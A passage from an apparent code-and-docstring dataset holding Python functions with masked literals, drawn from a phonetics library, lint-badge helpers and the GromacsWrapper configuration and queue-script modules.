parts[<NUM_LIT:0>])<EOL>parts[<NUM_LIT:2>] = parts[<NUM_LIT:2>].title()<EOL>line = '<STR_LIT:U+002C>'.join(parts)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in fn:<EOL><INDENT>line = line.replace('<STR_LIT:\">', \"<STR_LIT:'>\")<EOL>line = line.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if line and line[<NUM_LIT:0>] == \"<STR_LIT:'>\":<EOL><INDENT>line = '<STR_LIT:U+0020>' * <NUM_LIT> + line<EOL><DEDENT><DEDENT>comment = '<STR_LIT>'<EOL>if '<STR_LIT:#>' in line:<EOL><INDENT>hashsign = line.find('<STR_LIT:#>')<EOL>comment = line[hashsign:]<EOL>code = line[:hashsign]<EOL><DEDENT>else:<EOL><INDENT>code = line<EOL><DEDENT>code = code.rstrip()<EOL>comment = comment.strip()<EOL>if not re.match(r'<STR_LIT>', code):<EOL><INDENT>comment = '<STR_LIT:U+0020>' + comment<EOL><DEDENT>if '<STR_LIT:(>' in code and '<STR_LIT:)>' in code:<EOL><INDENT>prefix = code[: code.find('<STR_LIT:(>') + <NUM_LIT:1>]<EOL>suffix = code[code.rfind('<STR_LIT:)>') :]<EOL>tuplecontent = code[len(prefix) : len(code) - len(suffix)]<EOL>elts = tuplecontent.split('<STR_LIT:U+002C>')<EOL>for i in range(len(elts)):<EOL><INDENT>elts[i] = elts[i].strip()<EOL>if elts[i][<NUM_LIT:0>] == '<STR_LIT:\">' and elts[i][-<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>elts[i] = \"<STR_LIT:'>\" + elts[i][<NUM_LIT:1>:-<NUM_LIT:1>].replace(\"<STR_LIT:'>\", \"<STR_LIT>\") + \"<STR_LIT:'>\"<EOL><DEDENT><DEDENT>tuplecontent = '<STR_LIT:U+002CU+0020>'.join(elts)<EOL>code = prefix + tuplecontent + suffix<EOL><DEDENT>line = code + comment<EOL>line = re.sub('<STR_LIT>', '<STR_LIT>', line)<EOL>if line:<EOL><INDENT>nl = False<EOL>if array_seen and not (line[<NUM_LIT:0>] == '<STR_LIT:_>' or line.startswith('<STR_LIT>')):<EOL><INDENT>line = '<STR_LIT:U+0020>' * <NUM_LIT:4> + line<EOL><DEDENT>return line + '<STR_LIT:\\n>'<EOL><DEDENT>elif not nl:<EOL><INDENT>nl = True<EOL>return '<STR_LIT:\\n>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Convert a line of BMPM code from PHP to Python.\n\n    Parameters\n    ----------\n    line : str\n        A line of code\n        fn : str\n        A filename\n        subdir : str\n        The file's subdirectory\n\n    Returns\n    -------\n    The code in Python", "id": "f6817:m1"}
{"signature": "def pylint_color(score):", "body": "<EOL>score_cutoffs = (<NUM_LIT:10>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:5>)<EOL>for i in range(len(score_cutoffs)):<EOL><INDENT>if score >= score_cutoffs[i]:<EOL><INDENT>return BADGE_COLORS[i]<EOL><DEDENT><DEDENT>return BADGE_COLORS[-<NUM_LIT:1>]<EOL>", "docstring": "Return Pylint badge color.\n\n    Parameters\n    ----------\n    score : float\n        A Pylint score\n\n    Returns\n    -------\n    str\n        Badge color", "id": "f6819:m0"}
{"signature": "def pydocstyle_color(score):", "body": "<EOL>score_cutoffs = (<NUM_LIT:0>, <NUM_LIT:10>, <NUM_LIT>, <NUM_LIT:50>, <NUM_LIT:100>)<EOL>for i in range(len(score_cutoffs)):<EOL><INDENT>if score <= score_cutoffs[i]:<EOL><INDENT>return BADGE_COLORS[i]<EOL><DEDENT><DEDENT>return BADGE_COLORS[-<NUM_LIT:1>]<EOL>", "docstring": "Return pydocstyle badge color.\n\n    Parameters\n    ----------\n    score : float\n        A pydocstyle score\n\n    Returns\n    -------\n    str\n        Badge color", "id": "f6819:m1"}
{"signature": "def flake8_color(score):", "body": "<EOL>score_cutoffs = (<NUM_LIT:0>, <NUM_LIT:20>, <NUM_LIT:50>, <NUM_LIT:100>, <NUM_LIT:200>)<EOL>for i in range(len(score_cutoffs)):<EOL><INDENT>if score <= score_cutoffs[i]:<EOL><INDENT>return BADGE_COLORS[i]<EOL><DEDENT><DEDENT>return BADGE_COLORS[-<NUM_LIT:1>]<EOL>", "docstring": "Return flake8 badge color.\n\n    Parameters\n    ----------\n    score : float\n        A flake8 score\n\n    Returns\n    -------\n    str\n        Badge color", "id": "f6819:m2"}
{"signature": "def readfile(fn):", "body": "with open(path.join(HERE, fn), '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Read fn and return the contents.\n\n    Parameters\n    ----------\n    fn : str\n        A filename\n\n    Returns\n    -------\n    str\n        The content of the file", "id": "f6820:m0"}
{"signature": "def main(argv):", "body": "first_col = <NUM_LIT:3><EOL>last_col = -<NUM_LIT:1><EOL>def print_usage():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>sys.stdout.write(<EOL>'<STR_LIT>' + '<STR_LIT>'<EOL>)<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>def binarize(num):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if num == '<STR_LIT:0>':  <EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif num == '<STR_LIT>':  <EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif num == '<STR_LIT:1>':  <EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif num == '<STR_LIT:2>':  <EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>def init_termdicts():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ifile = codecs.open('<STR_LIT>', '<STR_LIT:r>', '<STR_LIT:utf-8>')<EOL>feature_mask = {}<EOL>keyline = ifile.readline().strip().split('<STR_LIT:U+002C>')[first_col:last_col]<EOL>mag = len(keyline)<EOL>for i in range(len(keyline)):<EOL><INDENT>features = '<STR_LIT>' + ('<STR_LIT>' * i) + '<STR_LIT>' + ('<STR_LIT>' * (mag - i - <NUM_LIT:1>))<EOL>feature_mask[keyline[i]] = int(features, <NUM_LIT:2>)<EOL><DEDENT>termdict = {}<EOL>for line in ifile:<EOL><INDENT>line = line.strip().rstrip('<STR_LIT:U+002C>')<EOL>if '<STR_LIT:#>' in line:<EOL><INDENT>line = line[: line.find('<STR_LIT:#>')].strip()<EOL><DEDENT>if line:<EOL><INDENT>line = line.split('<STR_LIT:U+002C>')<EOL>term = line[last_col]<EOL>features = '<STR_LIT>' + '<STR_LIT>'.join(<EOL>[binarize(val) for val in line[first_col:last_col]]<EOL>)<EOL>termdict[term] = int(features, <NUM_LIT:2>)<EOL><DEDENT><DEDENT>return termdict, feature_mask<EOL><DEDENT>def check_terms(sym, features, name, termdict):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if '<STR_LIT:#>' in name:<EOL><INDENT>name = name[: name.find('<STR_LIT:#>')].strip()<EOL><DEDENT>for term in name.split():<EOL><INDENT>if term in termdict:<EOL><INDENT>if termdict[term] & features != termdict[term]:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>'<EOL>+ term<EOL>+ '<STR_LIT>'<EOL>+ sym<EOL>+ '<STR_LIT:\\n>'<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>'<EOL>+ term<EOL>+ '<STR_LIT>'<EOL>+ name<EOL>+ '<STR_LIT>'<EOL>+ sym<EOL>+ '<STR_LIT:\\n>'<EOL>)<EOL><DEDENT><DEDENT><DEDENT>def check_entailments(sym, features, feature_mask):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>entailments = {<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>',),<EOL>'<STR_LIT>': ('<STR_LIT>',),<EOL>}<EOL>for feature in entailments:<EOL><INDENT>fname = feature[<NUM_LIT:1>:]<EOL>if feature[<NUM_LIT:0>] == '<STR_LIT:+>':<EOL><INDENT>fm = (feature_mask[fname] >> <NUM_LIT:1>) & feature_mask[fname]<EOL><DEDENT>else:<EOL><INDENT>fm = (feature_mask[fname] << <NUM_LIT:1>) & feature_mask[fname]<EOL><DEDENT>if (features & fm) == fm:<EOL><INDENT>for ent in entailments[feature]:<EOL><INDENT>ename = ent[<NUM_LIT:1>:]<EOL>if ent[<NUM_LIT:0>] == '<STR_LIT:+>':<EOL><INDENT>efm = (feature_mask[ename] >> <NUM_LIT:1>) & feature_mask[ename]<EOL><DEDENT>elif ent[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>efm = (feature_mask[ename] << <NUM_LIT:1>) & feature_mask[ename]<EOL><DEDENT>elif ent[<NUM_LIT:0>] == '<STR_LIT:0>':<EOL><INDENT>efm = <NUM_LIT:0><EOL><DEDENT>elif ent[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>efm = feature_mask[ename]<EOL><DEDENT>if ent[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>if (features & efm) == <NUM_LIT:0>:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>'<EOL>+ sym<EOL>+ '<STR_LIT>'<EOL>+ fname<EOL>+ '<STR_LIT>'<EOL>+ ename<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (features & efm) != efm:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>'<EOL>+ sym<EOL>+ '<STR_LIT>'<EOL>+ fname<EOL>+ '<STR_LIT>'<EOL>+ ename<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>checkdict = {}  <EOL>checkset_s = set()  <EOL>checkset_f = set()  <EOL>termdict, feature_mask = init_termdicts()<EOL>ifile = '<STR_LIT>'<EOL>ofile = '<STR_LIT>'<EOL>try:<EOL><INDENT>opts = getopt.getopt(argv, '<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])[<NUM_LIT:0>]<EOL><DEDENT>except getopt.GetoptError:<EOL><INDENT>print_usage()<EOL><DEDENT>for opt, arg in opts:<EOL><INDENT>if opt == '<STR_LIT>':<EOL><INDENT>print_usage()<EOL><DEDENT>elif opt in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>ifile = codecs.open(arg, '<STR_LIT:r>', '<STR_LIT:utf-8>')<EOL><DEDENT>elif opt in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>ofile = codecs.open(arg, '<STR_LIT:w>', '<STR_LIT:utf-8>')<EOL><DEDENT><DEDENT>if not ifile:<EOL><INDENT>print_usage()<EOL><DEDENT>oline = '<STR_LIT>'<EOL>if not ofile:<EOL><INDENT>ofile = sys.stdout<EOL><DEDENT>ofile.write(oline + '<STR_LIT:\\n>')<EOL>keyline = ifile.readline().strip().split('<STR_LIT:U+002C>')[first_col:last_col]<EOL>for line in ifile:<EOL><INDENT>line = line.strip().rstrip('<STR_LIT:U+002C>')<EOL>if line.startswith('<STR_LIT>'):<EOL><INDENT>break<EOL><DEDENT>line = unicodedata.normalize('<STR_LIT>', line)<EOL>if not line or line.startswith('<STR_LIT:#>'):<EOL><INDENT>oline = '<STR_LIT:U+0020>' + line<EOL><DEDENT>else:<EOL><INDENT>line = line.strip().split('<STR_LIT:U+002C>')<EOL>if '<STR_LIT:#>' in line:<EOL><INDENT>line = line[: line.find('<STR_LIT:#>')]<EOL><DEDENT>symbol = line[<NUM_LIT:0>]<EOL>variant = int(line[<NUM_LIT:1>])<EOL>segmental = bool(line[<NUM_LIT:2>])<EOL>features = '<STR_LIT>' + '<STR_LIT>'.join(<EOL>[binarize(val) for val in line[first_col:last_col]]<EOL>)<EOL>name = line[-<NUM_LIT:1>].strip()<EOL>if not segmental:<EOL><INDENT>features = '<STR_LIT:->' + features<EOL><DEDENT>featint = int(features, <NUM_LIT:2>)<EOL>check_terms(symbol, featint, name, termdict)<EOL>check_entailments(symbol, featint, feature_mask)<EOL>if symbol in checkset_s:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>' + symbol + '<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>checkset_s.add(symbol)<EOL><DEDENT>if variant < <NUM_LIT:2>:<EOL><INDENT>if featint in checkset_f:<EOL><INDENT>sys.stdout.write(<EOL>'<STR_LIT>'<EOL>+ str(featint)<EOL>+ '<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>+ symbol<EOL>+ '<STR_LIT>'<EOL>+ checkdict[featint]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>checkdict[featint] = symbol<EOL>checkset_f.add(featint)<EOL><DEDENT><DEDENT>if variant < <NUM_LIT:5>:<EOL><INDENT>oline = '<STR_LIT>'.format(<EOL>symbol, featint<EOL>)<EOL><DEDENT>else:<EOL><INDENT>oline = '<STR_LIT>'<EOL><DEDENT><DEDENT>if oline:<EOL><INDENT>ofile.write(oline + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>ofile.write('<STR_LIT>')<EOL>mag = len(keyline)<EOL>for i in range(len(keyline)):<EOL><INDENT>features = int('<STR_LIT>' + ('<STR_LIT>' * i) + '<STR_LIT>' + ('<STR_LIT>' * (mag - i - <NUM_LIT:1>)), <NUM_LIT:2>)<EOL>oline = '<STR_LIT>'.format(keyline[i], features)<EOL>ofile.write(oline + '<STR_LIT:\\n>')<EOL><DEDENT>ofile.write('<STR_LIT>')<EOL>", "docstring": "Read input file and write to output.\n\n    Parameters\n    ----------\n    argv : list\n        Arguments to the script", "id": "f6821:m0"}
{"signature": "def _generate_template_dict(dirname):", "body": "return dict((resource_basename(fn), resource_filename(__name__, dirname +'<STR_LIT:/>'+fn))<EOL>for fn in resource_listdir(__name__, dirname)<EOL>if not fn.endswith('<STR_LIT>'))<EOL>", "docstring": "Generate a list of included files *and* extract them to a temp space.\n\n    Templates have to be extracted from the egg because they are used\n    by external code. All template filenames are stored in\n    :data:`config.templates`.", "id": "f6847:m0"}
{"signature": "def resource_basename(resource):", "body": "if resource.endswith('<STR_LIT:/>'):<EOL><INDENT>resource = resource[:-<NUM_LIT:1>]<EOL><DEDENT>parts = resource.split('<STR_LIT:/>')<EOL>return parts[-<NUM_LIT:1>]<EOL>", "docstring": "Last component of a resource (which always uses '/' as sep).", "id": "f6847:m1"}
{"signature": "def get_template(t):", "body": "templates = [_get_template(s) for s in utilities.asiterable(t)]<EOL>if len(templates) == <NUM_LIT:1>:<EOL><INDENT>return templates[<NUM_LIT:0>]<EOL><DEDENT>return templates<EOL>", "docstring": "Find template file *t* and return its real path.\n\n    *t* can be a single string or a list of strings. A string\n    should be one of\n\n    1. a relative or absolute path,\n    2. a file in one of the directories listed in :data:`gromacs.config.path`,\n    3. a filename in the package template directory (defined in the template dictionary\n       :data:`gromacs.config.templates`) or\n    4. a key into :data:`~gromacs.config.templates`.\n\n    The first match (in this order) is returned. If the argument is a\n    single string then a single string is returned, otherwise a list\n    of strings.\n\n    :Arguments: *t* : template file or key (string or list of strings)\n    :Returns:   os.path.realpath(*t*) (or a list thereof)\n    :Raises:    :exc:`ValueError` if no file can be located.", "id": "f6847:m2"}
{"signature": "def get_templates(t):", "body": "return [_get_template(s) for s in utilities.asiterable(t)]<EOL>", "docstring": "Find template file(s) *t* and return their real paths.\n\n    *t* can be a single string or a list of strings. A string should\n    be one of\n\n    1. a relative or absolute path,\n    2. a file in one of the directories listed in :data:`gromacs.config.path`,\n    3. a filename in the package template directory (defined in the template dictionary\n       :data:`gromacs.config.templates`) or\n    4. a key into :data:`~gromacs.config.templates`.\n\n    The first match (in this order) is returned for each input argument.\n\n    :Arguments: *t* : template file or key (string or list of strings)\n    :Returns:   list of os.path.realpath(*t*)\n    :Raises:    :exc:`ValueError` if no file can be located.", "id": "f6847:m3"}
{"signature": "def _get_template(t):", "body": "if os.path.exists(t):           <EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>_t = t<EOL>_t_found = False<EOL>for d in path:              <EOL><INDENT>p = os.path.join(d, _t)<EOL>if os.path.exists(p):<EOL><INDENT>t = p<EOL>_t_found = True<EOL>break<EOL><DEDENT><DEDENT>_t = os.path.basename(t)<EOL>if not _t_found:            <EOL><INDENT>for p in templates.values():<EOL><INDENT>if _t == os.path.basename(p):<EOL><INDENT>t = p<EOL>_t_found = True     <EOL>break               <EOL><DEDENT><DEDENT><DEDENT>if not _t_found:            <EOL><INDENT>try:<EOL><INDENT>t = templates[t]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>_t_found = True<EOL><DEDENT><DEDENT>if not _t_found:            <EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT><DEDENT>return os.path.realpath(t)<EOL>", "docstring": "Return a single template *t*.", "id": "f6847:m4"}
{"signature": "def get_configuration(filename=CONFIGNAME):", "body": "global cfg, configuration    <EOL>cfg = GMXConfigParser(filename=filename)   <EOL>globals().update(cfg.configuration)        <EOL>configuration = cfg.configuration          <EOL>return cfg<EOL>", "docstring": "Reads and parses the configuration file.\n\n    Default values are loaded and then replaced with the values from\n    ``~/.gromacswrapper.cfg`` if that file exists. The global\n    configuration instance :data:`gromacswrapper.config.cfg` is updated\n    as are a number of global variables such as :data:`configdir`,\n    :data:`qscriptdir`, :data:`templatesdir`, :data:`logfilename`, ...\n\n    Normally, the configuration is only loaded when the :mod:`gromacs`\n    package is imported but a re-reading of the configuration can be forced\n    anytime by calling :func:`get_configuration`.\n\n    :Returns: a dict with all updated global configuration variables", "id": "f6847:m5"}
{"signature": "def setup(filename=CONFIGNAME):", "body": "<EOL>get_configuration()<EOL>if not os.path.exists(filename):<EOL><INDENT>with open(filename, '<STR_LIT:w>') as configfile:<EOL><INDENT>cfg.write(configfile)  <EOL>msg = \"<STR_LIT>\"\"<STR_LIT>\" % filename<EOL>print(msg)<EOL><DEDENT><DEDENT>for d in config_directories:<EOL><INDENT>utilities.mkdir_p(d)<EOL><DEDENT>", "docstring": "Prepare a default GromacsWrapper global environment.\n\n    1) Create the global config file.\n    2) Create the directories in which the user can store template and config files.\n\n    This function can be run repeatedly without harm.", "id": "f6847:m6"}
{"signature": "def check_setup():", "body": "if \"<STR_LIT>\" in os.environ:<EOL><INDENT>return True<EOL><DEDENT>missing = [d for d in config_directories if not os.path.exists(d)]<EOL>if len(missing) > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format('<STR_LIT>'.join(missing)))<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if templates directories are setup and issue a warning and help.\n\n   Set the environment variable  :envvar:`GROMACSWRAPPER_SUPPRESS_SETUP_CHECK`\n   skip the check and make it always return ``True``\n\n   :return ``True`` if directories were found and ``False`` otherwise\n\n    .. versionchanged:: 0.3.1\n       Uses :envvar:`GROMACSWRAPPER_SUPPRESS_SETUP_CHECK` to suppress check\n       (useful for scripts run on a server)", "id": "f6847:m7"}
{"signature": "def set_gmxrc_environment(gmxrc):", "body": "<EOL>envvars = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL>cmdargs = ['<STR_LIT>', '<STR_LIT:-c>', \"<STR_LIT>\".format(gmxrc,<EOL>'<STR_LIT:U+0020>'.join(['<STR_LIT>'.format(v) for v in envvars]))]<EOL>if not gmxrc:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>try:<EOL><INDENT>out = subprocess.check_output(cmdargs)<EOL>out = out.strip().split()<EOL>for key, value in zip(envvars, out):<EOL><INDENT>value = str(value.decode('<STR_LIT:ascii>').replace('<STR_LIT>', '<STR_LIT>'))  <EOL>os.environ[key] = value<EOL>logger.debug(\"<STR_LIT>\", key, value)<EOL><DEDENT><DEDENT>except (subprocess.CalledProcessError, OSError):<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", gmxrc)<EOL><DEDENT>", "docstring": "Set the environment from ``GMXRC`` provided in *gmxrc*.\n\n    Runs ``GMXRC`` in a subprocess and puts environment variables loaded by it\n    into this Python environment.\n\n    If *gmxrc* evaluates to ``False`` then nothing is done. If errors occur\n    then only a warning will be logged. Thus, it should be safe to just call\n    this function.", "id": "f6847:m8"}
{"signature": "def get_tool_names():", "body": "names = []<EOL>for group in cfg.get('<STR_LIT>', '<STR_LIT>').split():<EOL><INDENT>names.extend(cfg.get('<STR_LIT>', group).split())<EOL><DEDENT>return names<EOL>", "docstring": "Get tool names from all configured groups.\n\n    :return: list of tool names", "id": "f6847:m9"}
{"signature": "def get_extra_tool_names():", "body": "return cfg.get('<STR_LIT>', '<STR_LIT>').split()<EOL>", "docstring": "Get tool names from all configured groups.\n\n    :return: list of tool names", "id": "f6847:m10"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.filename = kwargs.pop('<STR_LIT:filename>', CONFIGNAME)<EOL>super(GMXConfigParser, self).__init__(*args, **kwargs)<EOL>self.set('<STR_LIT>', '<STR_LIT>',<EOL>os.path.join(\"<STR_LIT>\", os.path.basename(defaults['<STR_LIT>'])))<EOL>self.set('<STR_LIT>', '<STR_LIT>',<EOL>os.path.join(\"<STR_LIT>\", os.path.basename(defaults['<STR_LIT>'])))<EOL>self.add_section('<STR_LIT>')<EOL>self.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:yes>\")<EOL>self.add_section('<STR_LIT>')<EOL>self.set('<STR_LIT>', '<STR_LIT>', defaults['<STR_LIT>'])<EOL>self.set('<STR_LIT>', '<STR_LIT>', defaults['<STR_LIT>'])<EOL>self.set('<STR_LIT>', '<STR_LIT>', defaults['<STR_LIT>'])<EOL>default_cfg = get_template(self.cfg_template)<EOL>self.read_file(open(default_cfg))<EOL>self.read([self.filename])<EOL>", "docstring": "Reads and parses the configuration file.\n\n        Default values are loaded and then replaced with the values from\n        ``~/.gromacswrapper.cfg`` if that file exists. The global\n        configuration instance :data:`gromacswrapper.config.cfg` is updated\n        as are a number of global variables such as :data:`configdir`,\n        :data:`qscriptdir`, :data:`templatesdir`, :data:`logfilename`, ...\n\n        Normally, the configuration is only loaded when the :mod:`gromacswrapper`\n        package is imported but a re-reading of the configuration can be forced\n        anytime by calling :func:`get_configuration`.", "id": "f6847:c0:m0"}
{"signature": "@property<EOL><INDENT>def configuration(self):<DEDENT>", "body": "configuration = {<EOL>'<STR_LIT>': self.filename,<EOL>'<STR_LIT>': self.getpath('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': self.getLogLevel('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': self.getLogLevel('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': self.getpath('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': self.getpath('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': self.getpath('<STR_LIT>', '<STR_LIT>'),<EOL>}<EOL>configuration['<STR_LIT:path>'] = [os.path.curdir,<EOL>configuration['<STR_LIT>'],<EOL>configuration['<STR_LIT>']]<EOL>return configuration<EOL>", "docstring": "Dict of variables that we make available as globals in the module.\n\n        Can be used as ::\n\n           globals().update(GMXConfigParser.configuration)        # update configdir, templatesdir ...", "id": "f6847:c0:m1"}
{"signature": "def getpath(self, section, option):", "body": "return os.path.expanduser(os.path.expandvars(self.get(section, option)))<EOL>", "docstring": "Return option as an expanded path.", "id": "f6847:c0:m2"}
{"signature": "def getLogLevel(self, section, option):", "body": "return logging.getLevelName(self.get(section, option).upper())<EOL>", "docstring": "Return the textual representation of logging level 'option' or the number.\n\n        Note that option is always interpreted as an UPPERCASE string\n        and hence integer log levels will not be recognized.\n\n        .. SeeAlso: :mod:`logging` and :func:`logging.getLevelName`", "id": "f6847:c0:m3"}
{"signature": "def detect_queuing_system(scriptfile):", "body": "for qs in queuing_systems:<EOL><INDENT>if qs.isMine(scriptfile):<EOL><INDENT>return qs<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return the queuing system for which *scriptfile* was written.", "id": "f6848:m0"}
{"signature": "def generate_submit_scripts(templates, prefix=None, deffnm='<STR_LIT>', jobname='<STR_LIT>', budget=None,<EOL>mdrun_opts=None, walltime=<NUM_LIT:1.0>, jobarray_string=None, startdir=None,<EOL>npme=None, **kwargs):", "body": "if not jobname[<NUM_LIT:0>].isalpha():<EOL><INDENT>jobname = '<STR_LIT>'+jobname<EOL>wmsg = \"<STR_LIT>\".format(jobname)<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=AutoCorrectionWarning)<EOL><DEDENT>if prefix is None:<EOL><INDENT>prefix = \"<STR_LIT>\"<EOL><DEDENT>if mdrun_opts is not None:<EOL><INDENT>mdrun_opts = '<STR_LIT:\">'+str(mdrun_opts)+'<STR_LIT:\">'  <EOL><DEDENT>dirname = kwargs.pop('<STR_LIT>', os.path.curdir)<EOL>wt = Timedelta(hours=walltime)<EOL>walltime = wt.strftime(\"<STR_LIT>\")<EOL>wall_hours = wt.ashours<EOL>def write_script(template):<EOL><INDENT>submitscript = os.path.join(dirname, prefix + os.path.basename(template))<EOL>logger.info(\"<STR_LIT>\".format(**vars()))<EOL>qsystem = detect_queuing_system(template)<EOL>if qsystem is not None and (qsystem.name == '<STR_LIT>'):<EOL><INDENT>cbook.edit_txt(template,<EOL>[('<STR_LIT>','<STR_LIT>', deffnm),<EOL>('<STR_LIT>', '<STR_LIT>', jobname),<EOL>('<STR_LIT>', '<STR_LIT>', budget),<EOL>('<STR_LIT>', '<STR_LIT>', walltime),<EOL>('<STR_LIT>', '<STR_LIT>', wall_hours),<EOL>('<STR_LIT>', '<STR_LIT>', startdir),<EOL>('<STR_LIT>', '<STR_LIT>', npme),<EOL>('<STR_LIT>', '<STR_LIT>', mdrun_opts),  <EOL>('<STR_LIT>', '<STR_LIT>', jobarray_string),<EOL>],<EOL>newname=submitscript)<EOL>ext = os.path.splitext(submitscript)[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>cbook.edit_txt(template,<EOL>[('<STR_LIT>','<STR_LIT>', deffnm),<EOL>('<STR_LIT>', '<STR_LIT>', jobname),<EOL>('<STR_LIT>', '<STR_LIT>', budget),<EOL>('<STR_LIT>', '<STR_LIT>', walltime),<EOL>('<STR_LIT>', '<STR_LIT>', wall_hours),<EOL>('<STR_LIT>', '<STR_LIT>', startdir),<EOL>('<STR_LIT>', '<STR_LIT>', npme),<EOL>('<STR_LIT>', '<STR_LIT>', mdrun_opts),  <EOL>('<STR_LIT>', '<STR_LIT>', jobarray_string),<EOL>],<EOL>newname=submitscript)<EOL>ext = os.path.splitext(submitscript)[<NUM_LIT:1>]<EOL><DEDENT>if ext in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>os.chmod(submitscript, <NUM_LIT>)<EOL><DEDENT>return submitscript<EOL><DEDENT>return [write_script(template) for template in config.get_templates(templates)]<EOL>", "docstring": "Write scripts for queuing systems.\n\n\n    This sets up queuing system run scripts with a simple search and replace in\n    templates. See :func:`gromacs.cbook.edit_txt` for details. Shell scripts\n    are made executable.\n\n    :Arguments:\n      *templates*\n          Template file or list of template files. The \"files\" can also be names\n          or symbolic names for templates in the templates directory. See\n          :mod:`gromacs.config` for details and rules for writing templates.\n      *prefix*\n          Prefix for the final run script filename; by default the filename will be\n          the same as the template. [None]\n      *dirname*\n          Directory in which to place the submit scripts. [.]\n      *deffnm*\n          Default filename prefix for :program:`mdrun` ``-deffnm`` [md]\n      *jobname*\n          Name of the job in the queuing system. [MD]\n      *budget*\n          Which budget to book the runtime on [None]\n      *startdir*\n          Explicit path on the remote system (for run scripts that need to `cd`\n          into this directory at the beginning of execution) [None]\n      *mdrun_opts*\n          String of additional options for :program:`mdrun`.\n      *walltime*\n          Maximum runtime of the job in hours. [1]\n      *npme*\n          number of PME nodes\n      *jobarray_string*\n          Multi-line string that is spliced in for job array functionality\n          (see :func:`gromacs.qsub.generate_submit_array`; do not use manually)\n      *kwargs*\n          all other kwargs are 